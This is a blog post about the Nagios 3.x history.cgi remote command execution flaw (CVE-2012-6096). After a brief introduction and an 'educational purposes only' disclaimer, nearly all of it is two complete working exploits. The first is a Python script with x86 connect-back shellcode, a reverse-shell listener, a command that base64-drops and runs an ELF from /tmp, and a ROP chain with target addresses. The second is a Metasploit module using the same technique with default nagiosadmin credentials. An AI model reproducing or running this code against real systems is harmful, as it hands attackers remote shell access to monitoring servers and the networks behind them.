Nagios 3.x history.cgi Remote Command Execution

Written by:

Nagios 3.x history.cgi Remote Command Execution
  • 0.00 / 5 5
0 votes, 0.00 avg. rating (0% score)

Nagios is a powerful Open Source monitoring system that enables organizations to identify and resolve IT infrastructure problems before they affect critical business processes. It offers complete monitoring and alerting for servers, switches, applications, and services.

The Nagios backend has a program called history.cgi that as of late is said to allow an attacker remote access giving him/her system level access.

Generally, those of us who are administrators don’t normally allow our Nagios systems to be accessed by any and everyone on the internet. However, you can almost certainly bet that within your company, there are a few wanna be hackers who would love to test the exploits to gain access thus making you look stupid.

From my tests, I have not been able to exploit this and it is probably because the history.cgi was compiled with FORTIFY_SOURCE enabled. Your testing may vary.

The code below is to be used for educational purposes only!!!

 

Python Code:

#!/usr/bin/python
#
# CVE-2012-6096 - Nagios history.cgi Remote Command Execution
# ===========================================================
# Another year, another reincarnation of classic and trivial
# bugs to exploit. This time we attack Nagios.. or more
# specifically, one of its CGI scripts. [1]
#
# The Nagios code is an amazing monster. It reminds me a
# lot of some of my early experiments in C, back when I
# still had no clue what I was doing. (Ok, fair enough,
# I still don't, heheh.)
#
# Ok, I'll come clean. This exploit doesn't exactly
# defeat FORTIFY. This approach is likely to work just FINE
# on other crippled distro's though, think of stuff like
# ArchLinux, Slackware, and all those Gentoo kids twiddling
# their CFLAGS. [2] (Oh and hey, BSD and stuff!)
#
# I do some very stupid shit(tm) here that might make an
# exploit coder or two cringe. My sincere apologies for that.
#
# Cold beer goes out to my friends who are still practicing
# this dying but interesting type of art:
#
#   * brainsmoke * masc * iZsh * skier_ * steve *
#
# -- blasty <blasty@fail0verflow.com> / 2013-01-08
#
# References:
# [1] http://permalink.gmane.org/gmane.comp.security.oss.general/9109
# [2] http://www.funroll-loops.info/
#
# P.S. To the clown who rebranded my Samba exploit: j00 s0 1337 m4n!
# Next time you rebrand an exploit at least show some diligence and
# add some additional targets or improvements, so we can all profit!
#
# P.P.S. hey, Im not _burning_ bugs .. this is a 2day, enjoy!
#

import os, sys, socket, struct, urllib, threading, SocketServer, time
from base64 import b64encode

SocketServer.TCPServer.allow_reuse_address = True

targets = [
    {
        "name"       : "Debian (nagios3_3.0.6-4~lenny2_i386.deb)",
        "smash_len"  : 0xc37,
        "unescape"   : 0x0804b620,
        "popret"     : 0x08048fe4,
        "hostbuf"    : 0x080727a0,
        "system_plt" : 0x08048c7c
    }
]

def u32h(v):
    return struct.pack("<L", v).encode('hex')

def u32(v, hex = False):
    return struct.pack("<L", v)

# Tiny ELF stub based on:
# http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html
def make_elf(sc):
    elf_head = \
        "7f454c46010101000000000000000000" + \
        "02000300010000005480040834000000" + \
        "00000000000000003400200001000000" + \
        "00000000010000000000000000800408" + \
        "00800408" + u32h(0x54+len(sc))*2  + \
        "0500000000100000"

    return elf_head.decode("hex") + sc

# interactive connectback listener
class connectback_shell(SocketServer.BaseRequestHandler):
    def handle(self):
        print "\n[!!] K4P0W!@# -> shell from %s" % self.client_address[0]
        print "[**] This shell is powered by insane amounts of illegal substances"

        s = self.request

        import termios, tty, select, os
        old_settings = termios.tcgetattr(0)

        try:
            tty.setcbreak(0)
            c = True

            os.write(s.fileno(), "id\nuname -a\n")

            while c:
                for i in select.select([0, s.fileno()], [], [], 0)[0]:
                    c = os.read(i, 1024)
                    if c:
                        if i == 0:
                            os.write(1, c)

                        os.write(s.fileno() if i == 0 else 1, c)
        except KeyboardInterrupt: pass
        finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)

        return

class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
    pass

if len(sys.argv) != 5:
    print "\n  >> Nagios 3.x CGI remote code execution by <blasty@fail0verflow.com>"
    print "  >> \"Jetzt geht's Nagi-los!\"\n"
    print "  usage: %s <base_uri> <myip> <myport> <target>\n" % (sys.argv[0])
    print "  targets:"

    i = 0

    for target in targets:
        print " %02d) %s" % (i, target['name'])
        i = i+1

    print ""
    sys.exit(-1)

target_no = int(sys.argv[4])

if target_no < 0 or target_no > len(targets):
    print "Invalid target specified"
    sys.exit(-1)

target = targets[ int(sys.argv[4]) ]

# comment this shit if you want to setup your own listener
server = ThreadedTCPServer((sys.argv[2], int(sys.argv[3])), connectback_shell)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()

# shellcode to be executed
# vanilla x86/linux connectback written by a dutch gentleman
# close to a decade ago.
cback = \
    "31c031db31c951b10651b10151b10251" + \
    "89e1b301b066cd8089c231c031c95151" + \
    "68badc0ded6668b0efb102665189e7b3" + \
    "1053575289e1b303b066cd8031c939c1" + \
    "740631c0b001cd8031c0b03f89d3cd80" + \
    "31c0b03f89d3b101cd8031c0b03f89d3" + \
    "b102cd8031c031d250686e2f7368682f" + \
    "2f626989e3505389e1b00bcd8031c0b0" + \
    "01cd80"

cback = cback.replace("badc0ded", socket.inet_aton(sys.argv[2]).encode("hex"))
cback = cback.replace("b0ef", struct.pack(">H", int(sys.argv[3])).encode("hex"))

# Eww.. so there's some characters that dont survive the trip..
# yes, even with the unescape() call in our return-chain..
# initially I was going to use some /dev/tcp based connectback..
# but /dev/tcp isn't available/accesible everywhere, so instead
# we drop an ELF into /tmp and execute that. The '>' characters
# also doesn't survive the trip so we work around this by using
# the tee(1) utility.
# If your target has a /tmp that is mounted with noexec flag,
# is severely firewalled or guarded by trained (watch)dogs..
# you might want to reconsider this approach!
cmd  = \
    "rm -rf /tmp/x;" + \
    "echo " + b64encode(make_elf(cback.decode('hex'))) + "|" + \
    "base64 -d|tee /tmp/x|chmod +x /tmp/x;/tmp/x;"

# Spaces (0x20) are also a problem, they always ends up as '+' :-(
# so apply some olde trick and rely on $IFS for argv separation
cmd = cmd.replace(" ", "${IFS}")

# Basic return-2-whatever/ROP chain.
# We return into cgi_input_unescape() to get rid of
# URL escaping in a static buffer we control, and then
# we return into system@plt for the moneyshot.
#
# Ergo sum:
# There's no memoryleak or whatever needed to leak libc
# base and bypass ASLR.. This entire Nagios PoS is stringed
# together by system() calls, so pretty much every single one
# of their little silly binaries comes with a PLT entry for
# system(), huzzah!
rop = [
    u32(target['unescape']),
    u32(target['popret']),
    u32(target['hostbuf']),
    u32(target['system_plt']),
    u32(0xdeafbabe),
    u32(target['hostbuf'])
]

# Yes.. urllib, so it supports HTTPS, basic-auth and whatnot
# out of the box. Building HTTP requests from scratch is so 90ies..
params = urllib.urlencode({
    'host' : cmd + "A"*(target['smash_len']-len(cmd)) + "".join(rop)
})

print "[>>] CL1Q .."
f = urllib.urlopen(sys.argv[1]+"/cgi-bin/history.cgi?%s" % params)

print "[>>] CL4Q .."
f.read()

# TRIAL PERIOD ACTIVE, LOL!
time.sleep(0x666)

server.shutdown()

Metasploit Module:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Nagios3 history.cgi Host Command Execution',
			'Description'    => %q{
					This module abuses a command injection vulnerability in the
				Nagios3 history.cgi script.
			},
			'Author'         => [
				'Unknown <temp66@gmail.com>',		    # Original finding
				'blasty <blasty@fail0verflow.com>',	    # First working exploit
				'Jose Selvi <jselvi@pentester.es>',	    # Metasploit module
				'Daniele Martini <cyrax[at]pkcrew.org>'	# Metasploit module
			],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2012-6096' ],
					[ 'OSVDB', '88322' ],
					[ 'BID', '56879' ],
					[ 'EDB', '24084' ],
					[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2012-December/089125.html' ]
				],
			'Platform'       => ['unix', 'linux'],
			'Arch'           => [ ARCH_X86 ],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 200,	# Due to a system() parameter length limitation
					'BadChars'    => '',	# It'll be base64 encoded
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { 'auto' => true }],
					# NOTE: All addresses are from the history.cgi binary
					[ 'Appliance Nagios XI 2012R1.3 (CentOS 6.x)',
						{
							'BannerRE' => 'Apache/2.2.15 (CentOS)',
							'VersionRE' => '3.4.1',
							'Arch' => ARCH_X86,
							'Offset' => 0xc43,
							'RopStack' =>
								[
									0x0804c260,	# unescape_cgi_input()
									0x08048f04,	# pop, ret
									0x08079b60,	# buffer addr
									0x08048bb0,	# system()
									0x08048e70,	# exit()
									0x08079b60	# buffer addr
								]
						}
					],
					[ 'Debian 5 (nagios3_3.0.6-4~lenny2_i386.deb)',
						{
							'BannerRE' => 'Apache/2.2.9 (Debian)',
							'VersionRE' => '3.0.6',
							'Arch' => ARCH_X86,
							'Offset' => 0xc37,
							'RopStack' =>
								[
									0x0804b620,	# unescape_cgi_input()
									0x08048fe4,	# pop, ret
									0x080727a0,	# buffer addr
									0x08048c7c,	# system()
									0xdeafbabe,	# if should be exit() but it's not
									0x080727a0	# buffer addr
								]
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Dec 09 2012'))

		register_options(
			[
				OptString.new('TARGETURI', [true, "The full URI path to history.cgi", "/nagios3/cgi-bin/history.cgi"]),
				OptString.new('USER', [false, "The username to authenticate with", "nagiosadmin"]),
				OptString.new('PASS', [false, "The password to authenticate with", "nagiosadmin"]),
			], self.class)
	end

	def detect_version(uri)
		# Send request
		res = send_request_cgi({
			'method'    => 'GET',
			'uri'       => uri,
			'headers'   => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
		}, 10)

		# Error handling
		if res.nil?
			print_error("Unable to get a response from the server")
			return nil, nil
		end
		if(res.code == 401)
			print_error("Please specify correct values for USER and PASS")
			return nil, nil
		end
		if(res.code == 404)
			print_error("Please specify the correct path to history.cgi in the URI parameter")
			return nil, nil
		end

		# Extract banner from response
		banner = res.headers['Server']

		# Extract version from body
		version = nil
		version_line = res.body.match(/Nagios&reg; (Core&trade; )?[0-9.]+ -/)
		if not version_line.nil?
			version = version_line[0].match(/[0-9.]+/)[0]
		end

		# Check in an alert exists
		alert = res.body.match(/ALERT/)

		return version, banner, alert
	end

	def select_target(version, banner)

		# No banner and version, no target
		if banner.nil? or version.nil?
			return nil
		end

		# Get version information
		print_status("Web Server banner: #{banner}")
		print_status("Nagios version detected: #{version}")

		# Try regex for each target
		self.targets.each do |t|
			if t['BannerRE'].nil? or t['VersionRE'].nil?  # It doesn't exist in Auto Target
				next
			end
			regexp1 = Regexp.escape(t['BannerRE'])
			regexp2 = Regexp.escape(t['VersionRE'])
			if ( banner =~ /#{regexp1}/ and version =~ /#{regexp2}/ ) then
				return t
			end
		end
		# If not detected, return nil
		return nil
	end

	def check
		print_status("Checking banner and version...")
		# Detect version
		banner, version, alert = detect_version(target_uri.path)
		# Select target
		mytarget = select_target(banner, version)

		if mytarget.nil?
			print_error("No matching target")
			return CheckCode::Unknown
		end

		if alert.nil?
			print_error("At least one ALERT is needed in order to exploit")
			return CheckCode::Detected
		end

		return CheckCode::Vulnerable
	end

	def exploit
		# Automatic Targeting
		mytarget = nil
		banner, version, alert = detect_version(target_uri.path)
		if (target['auto'])
			print_status("Automatically detecting the target...")
			mytarget = select_target(banner, version)
			if mytarget.nil?
				fail_with(Exploit::Failure::NoTarget, "No matching target")
			end
		else
			mytarget = target
		end

		print_status("Selected Target: #{mytarget.name}")
		if alert.nil?
			print_error("At least one ALERT is needed in order to exploit, none found in the first page, trying anyway...")
		end
		print_status("Sending request to http://#{rhost}:#{rport}#{target_uri.path}")

		# Generate a payload ELF to execute
		elfbin = generate_payload_exe
		elfb64 = Rex::Text.encode_base64(elfbin)

		# Generate random filename
		tempfile = '/tmp/' + rand_text_alphanumeric(10)

		# Generate command-line execution
		if mytarget.name =~ /CentOS/
			cmd = "echo #{elfb64}|base64 -d|tee #{tempfile};chmod 700 #{tempfile};rm -rf #{tempfile}|#{tempfile};"
		else
			cmd = "echo #{elfb64}|base64 -d|tee #{tempfile} |chmod +x #{tempfile};#{tempfile};rm -f #{tempfile}"
		end
		host_value = cmd.gsub!(' ', '${IFS}')

		# Generate 'host' parameter value
		padding_size = mytarget['Offset'] - host_value.length
		host_value << rand_text_alphanumeric( padding_size )

		# Generate ROP
		host_value << mytarget['RopStack'].pack('V*')

		# Send exploit
		res = send_request_cgi({
			'method'    => 'GET',
			'uri'       => target_uri.path,
			'headers'   => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
			'vars_get' =>
			{
				'host' => host_value
			}
		})

		if not res
			if session_created?
				print_status("Session created, enjoy!")
			else
				print_error("No response from the server")
			end
			return
		end

		if res.code == 401
			fail_with(Exploit::Failure::NoAccess, "Please specify correct values for USER and PASS")
		end

		if res.code == 404
			fail_with(Exploit::Failure::NotFound, "Please specify the correct path to history.cgi in the TARGETURI parameter")
		end

		print_status("Unknown response #{res.code}")
	end

end

Leave a Reply